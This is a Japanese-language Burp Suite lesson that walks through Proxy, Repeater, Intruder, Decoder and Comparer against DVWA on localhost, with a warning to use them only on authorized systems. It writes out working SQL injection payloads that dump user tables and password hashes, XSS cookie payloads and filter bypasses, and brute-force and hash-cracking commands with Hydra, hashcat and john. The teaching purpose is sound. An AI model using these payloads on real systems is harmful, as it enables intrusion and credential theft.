Burp Suite とは

Burp Suite は、PortSwigger社が開発したWebアプリケーションセキュリティテストの統合プラットフォームです。ペネトレーションテスターのデファクトスタンダードツールとして世界中で使用されています。

エディション:

  • Community Edition(無料): 基本機能。このレッスンで使用
  • Professional(有料): 高速スキャン自動化・高度なIntruder機能・BApp Store
認可を得たシステムでのみ使用

Burp Suiteは強力なテストツールです。必ず自分が所有または書面で許可を得たシステムにのみ使用してください。このレッスンは Kali Linux 上の DVWA(Damn Vulnerable Web Application) を演習対象として使用します。

演習環境のセットアップ

DVWA の起動(Kali Linux)

Apache と MySQL を起動

sudo service apache2 start sudo service mysql start

サービス起動確認

sudo service apache2 status | grep “Active:“

出力例: Active: active (running) since …

sudo service mysql status | grep “Active:“

出力例: Active: active (running) since …

DVWA データベースの初期化

ブラウザで http://127.0.0.1/dvwa/setup.php にアクセスし

「Create / Reset Database」をクリック

ブラウザで DVWA にアクセス

URL: http://127.0.0.1/dvwa/

ユーザー名: admin

パスワード: password

セキュリティレベルの設定

DVWA の DVWA Security ページでセキュリティレベルを設定できます。

レベル内容用途
Low入力値検証なし・保護機能なし基本的な攻撃手法の学習
Medium部分的な検証ありフィルター回避技術の学習
Highより強固な保護高度な回避技術の学習
Impossible安全な実装の参考セキュアコーディングの学習
演習の進め方

まず Low レベルで基本的な攻撃を確認し、その後 Medium レベルで同じ攻撃を試して「なぜ防がれるか」「どう回避できるか」を比較学習するのが効果的です。

Burp Suite のセットアップとブラウザプロキシ設定

Kali Linux で Burp Suite を起動

burpsuite &

または Applications メニュー → Web Application Analysis → burpsuite

プロキシ設定手順:

  1. Burp Suite → ProxyProxy settingsProxy listeners
  2. 127.0.0.1:8080 でリッスンしていることを確認
  3. Firefox → 設定 → ネットワーク設定 → 手動でプロキシを設定
    • HTTP プロキシ: 127.0.0.1、ポート: 8080
  4. Burp CA 証明書のインポート(HTTPS傍受に必要):
    • ブラウザで http://burpsuite にアクセス → CA 証明書をダウンロード
    • Firefox → 設定 → 証明書 → 証明書を表示 → インポート
FoxyProxy の活用

FirefoxのFoxyProxyアドオンを使うと、プロキシのON/OFFをワンクリックで切り替えられます。Kali Linuxには事前設定済みの「Burp」プロファイルが含まれています。


Proxy インターセプト — リクエストの傍受と改ざん

基本的なインターセプト手順

  1. Burp Suite → Proxy タブ → Intercept is on をクリック(オンに)
  2. Firefox でプロキシを有効にし、DVWA のログインページにアクセス
  3. ユーザー名・パスワードを入力して Login をクリック
  4. Burp Suite にリクエストが停止される
POST /dvwa/login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

username=admin&password=password&Login=Login
  1. パラメータを確認後 → Forward で送信(または Drop で破棄)

HTTP History の活用

ProxyHTTP history タブで、プロキシを通過したすべてのリクエスト・レスポンスの履歴が確認できます。右クリックメニューから各ツール(Repeater・Intruder・Decoder)に送信できます。


Repeater — リクエストの繰り返しテスト

Repeater は同じリクエストを手動で編集・再送信しながら挙動を調査するツールです。

SQL インジェクション(Low レベル)の手動テスト

ステップ1: DVWA Security を「Low」に設定

SQL Injection ページ(http://127.0.0.1/dvwa/vulnerabilities/sqli/)を開く

HTTP historyから GET リクエストを右クリック → Send to Repeater

ステップ2: 正常リクエスト(ベースライン確認)

GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID=xxxx; security=low

レスポンス: First name: admin / Surname: admin

ステップ3: シングルクォートでエラー確認

GET /dvwa/vulnerabilities/sqli/?id=1’&Submit=Submit HTTP/1.1

レスポンス例: You have an error in your SQL syntax; check the manual

→ SQLエラーが表示されれば SQLi が存在する

ステップ4: OR 条件で全レコード取得

GET /dvwa/vulnerabilities/sqli/?id=1’+OR+‘1’%3D’1&Submit=Submit HTTP/1.1

(URLエンコード: ’ OR ‘1’=‘1)

レスポンス: 全ユーザーのレコードが返る

ステップ5: ORDER BY でカラム数を特定

GET /dvwa/vulnerabilities/sqli/?id=1’+ORDER+BY+2—+-&Submit=Submit HTTP/1.1

エラーなし → 2カラム以上ある

GET /dvwa/vulnerabilities/sqli/?id=1’+ORDER+BY+3—+-&Submit=Submit HTTP/1.1

エラーあり → カラム数は2

ステップ6: UNION で情報抽出(データベース名・バージョン)

GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+database(),version()—+-&Submit=Submit HTTP/1.1

レスポンス例:

First name: dvwa

Surname: 5.0.51a-3ubuntu5

SQLi でユーザーテーブルをダンプ

テーブル一覧の取得(information_schema を使用)

GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+table_name,table_schema +FROM+information_schema.tables+WHERE+table_schema%3D’dvwa’—+-&Submit=Submit HTTP/1.1

レスポンス例:

First name: guestbook

First name: users ← usersテーブルを発見

users テーブルのカラム名取得

GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+column_name,2 +FROM+information_schema.columns+WHERE+table_name%3D’users’—+-&Submit=Submit HTTP/1.1

レスポンス例: user, password, first_name, last_name…

ユーザー名とパスワードハッシュのダンプ

GET /dvwa/vulnerabilities/sqli/?id=-1’+UNION+SELECT+user,password +FROM+users—+-&Submit=Submit HTTP/1.1

レスポンス例:

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ← MD5ハッシュ

First name: gordonb

Surname: e99a18c428cb38d5f260853678922e03

取得したMD5ハッシュの解析

5f4dcc3b5aa765d61d8327deb882cf99 は “password” の MD5 ハッシュです。echo -n "password" | md5sum で確認できます。実際のペネトレーションテストでは John the Ripper や Hashcat でクラッキングを試みます。

SQL インジェクション(Medium レベル)との比較

Medium レベルでは addslashes() によりシングルクォートがエスケープされる

通常の SQLi は防がれる

しかし数値型パラメータのため、クォート不要な手法が有効

Repeater でボディを直接編集:

POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded

id=1 OR 1=1&Submit=Submit

→ 数値型なのでクォート不要、全レコードが返る

UNION も同様に機能する

id=-1 UNION SELECT user,password FROM users— -&Submit=Submit


XSS(クロスサイトスクリプティング)のテスト

Reflected XSS(Low レベル)

XSS(Reflected)ページ: /dvwa/vulnerabilities/xss_r/

HTTP historyからリクエストを Send to Repeater

ステップ1: 基本的なアラートペイロード

GET /dvwa/vulnerabilities/xss_r/?name=<script>alert(‘XSS’)</script>&Submit=Submit HTTP/1.1

レスポンスボディに <script>alert(‘XSS’)</script> が含まれれば XSS 確認

ステップ2: Cookie 盗難ペイロード(実際のCookieが確認できる)

GET /dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>&Submit=Submit HTTP/1.1

レスポンス中に反映されたスクリプトがCookieを表示

ステップ3: img タグを使った代替ペイロード

GET /dvwa/vulnerabilities/xss_r/?name=<img+src=x+onerror=alert(1)>&Submit=Submit HTTP/1.1

Stored XSS(Low レベル)

Stored XSS ページ: /dvwa/vulnerabilities/xss_s/

Guestbook に以下のメッセージを投稿

POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded

txtName=test&mtxMessage=<script>alert(‘Stored+XSS!’)</script>&btnSign=Sign+Guestbook

→ ページをリロードするたびにスクリプトが実行される

→ 他のユーザーがこのページを閲覧するとスクリプトが発火する(恒久的影響)

XSS(Medium レベル)のフィルター回避

Medium レベルでは <script> タグが除去される

→ 大文字小文字混在で回避

name=<Script>alert(1)</Script>

→ イベントハンドラで回避(<script>タグを使わない)

name=<img src=x onerror=alert(document.cookie)>

→ 他のタグで回避

name=<body onload=alert(1)> name=<svg onload=alert(1)>


Intruder — ブルートフォース演習

Intruder はパラメータを変化させながら自動的に大量リクエストを送信します。

Community 版の制限

Burp Suite Community 版では Intruder にレート制限があり、動作が遅くなります(1〜2秒/リクエスト)。基本的な使い方の習得には十分ですが、本格的なブルートフォースには Professional 版または別ツール(Hydra 等)が適しています。

DVWA ログインのブルートフォース

ステップ1: ログインリクエストを Intruder に送信

HTTP history のログインリクエスト(POST /dvwa/login.php)を右クリック

→ Send to Intruder

ステップ2: Positions タブで攻撃ポジションを設定

「Auto §」をクリックして自動設定、または手動でパスワード部分を選択

Before: username=admin&password=password&Login=Login

After: username=admin&password=§password§&Login=Login

Attack type: Sniper(1つのポジション)

ステップ3: Payloads タブでパスワードリストを設定

Payload type: Simple list

パスワードを追加:

password

admin

123456

letmein

msfadmin

qwerty

または Load → /usr/share/wordlists/rockyou.txt(最初の100行程度を使用)

ステップ4: Settings タブでレスポンス差異の検出設定

Grep - Match に「Login failed」を追加

→ 失敗時のみこの文字列が含まれるため、含まれないものが成功

ステップ5: 「Start attack」をクリック

結果テーブルで「Login failed」が含まれていないリクエストを確認

Cluster Bomb でユーザー名+パスワードを総当たり

Positions タブの設定:

username=§admin§&password=§password§&Login=Login

Attack type: Cluster Bomb

Payload set 1(ユーザー名リスト):

admin

administrator

user

msfadmin

guest

Payload set 2(パスワードリスト):

password

admin

123456

msfadmin

→ 5 × 4 = 20 通りのすべての組み合わせをテスト

結果: レスポンス長が他と異なるものがログイン成功の可能性


Decoder と Comparer の活用

Decoder — エンコード/デコード

Base64 デコード(HTTP Basic 認証のデコード)

Input: YWRtaW46cGFzc3dvcmQ= Output: admin:password

URL エンコード(SQLi ペイロードのエンコード)

Input: ’ OR ‘1’=‘1 Output: %27+OR+%271%27%3D%271

HTML エンコード(XSS フィルター回避の確認)

Input: <script>alert(1)</script> Output: <script>alert(1)</script>

使い方:

1. Decoder タブを開く

2. テキストを貼り付け

3. 「Decode as…」または「Encode as…」で形式を選択

4. 変換結果がすぐ下に表示される

Comparer — レスポンス差分比較

用途: 成功/失敗したリクエストのレスポンスを比較し、どこが違うかを特定する。

  1. HTTP history で比較したい2つのレスポンスを右クリック → Send to Comparer
  2. Comparer タブ → Words または Bytes で差分表示
  3. 追加・削除された文字列がハイライト表示される

演習チャレンジ: DVWA 全機能テスト

ミッション1: SQLi から全ユーザーダンプ

DVWA の SQL Injection(Low)で UNION ベース SQLi を使い、users テーブルから全ユーザーのIDとパスワードハッシュを取得せよ。

ミッション2: MD5 ハッシュのクラッキング

ミッション1で取得したMD5ハッシュを hashcat または john でクラッキングせよ。

hashcat を使用(-m 0 は MD5)

hashcat -m 0 -a 0
5f4dcc3b5aa765d61d8327deb882cf99
/usr/share/wordlists/rockyou.txt

出力例:

5f4dcc3b5aa765d61d8327deb882cf99:password

john を使用

echo “5f4dcc3b5aa765d61d8327deb882cf99” > /tmp/hash.txt john —format=raw-md5 —wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt john —show /tmp/hash.txt

出力例: ?:password

ミッション3: Stored XSS でセッションCookieを取得

DVWA の XSS(Stored)ページで、document.cookie をアラートで表示するペイロードを Guestbook に投稿し、ページ再読込でスクリプトが実行されることを確認せよ。

ミッション4: Medium レベルの SQLi フィルター回避

DVWA の Security を Medium に変更し、Low で使ったペイロードが防がれることを確認した後、数値型パラメータを活用してフィルターを回避してユーザーダンプに成功せよ。

ミッション5: Intruder でログインブルートフォース

DVWA のログインフォームに対して Intruder(Sniper)でパスワードブルートフォースを実施し、admin のパスワードを特定せよ。/usr/share/wordlists/rockyou.txt の最初の100行から探し始める。

演習のまとめ

このレッスンでは「攻撃者がどのようにWebアプリケーションの脆弱性を発見・悪用するか」を実際のツールで体験しました。Impossible レベルの実装と Low レベルを比較することで「安全なコードとは何か」が具体的に理解できます。DVWA の Impossible レベルのソースコードを必ず確認してください。


トラブルシューティング

Burp Suite の画面がブラウザに表示されない(証明書エラー)

Burp Suite の CA 証明書をエクスポート

Burp Suite → Proxy → Proxy settings → Import / export CA certificate

→ Certificate in DER format で保存

Firefox へのインポート

設定 → プライバシーとセキュリティ → 証明書を表示

→ 認証局 → インポート → 保存した .der ファイルを選択

→ 「ウェブサイトを識別するためにこの認証局を信頼する」にチェック

DVWA にログインできない(データベースエラー)

MySQL を再起動して再試行

sudo service mysql restart sudo service apache2 restart

ブラウザで http://127.0.0.1/dvwa/setup.php にアクセス

「Create / Reset Database」をクリック

config.php の設定確認

sudo cat /var/www/html/dvwa/config/config.inc.php | grep -E “db_|DB_“

db_user = ‘root’、db_password = ” であることを確認

MySQL の root パスワード確認

sudo mysql -u root

mysql> SHOW DATABASES; で dvwa があることを確認

Intruder の速度が遅すぎる(Community 版)

Community 版ではレート制限があります。少数のペイロードでテストするか、Hydra を代替として使用してください。

Hydra を使った HTTP フォームブルートフォース

hydra -l admin
-P /usr/share/wordlists/rockyou.txt
127.0.0.1
http-post-form
“/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed”

出力例:

[80][http-post-form] host: 127.0.0.1 login: admin password: password

Repeater でリクエストを送信してもセッションエラーになる

DVWA のセッションCookieが期限切れになっている可能性があります。HTTP history の最新リクエストから Cookie を確認し、Repeater のリクエストヘッダー内の Cookie: を更新してください。


理解度チェック

Burp SuiteのRepeaterツールの主な用途はどれですか?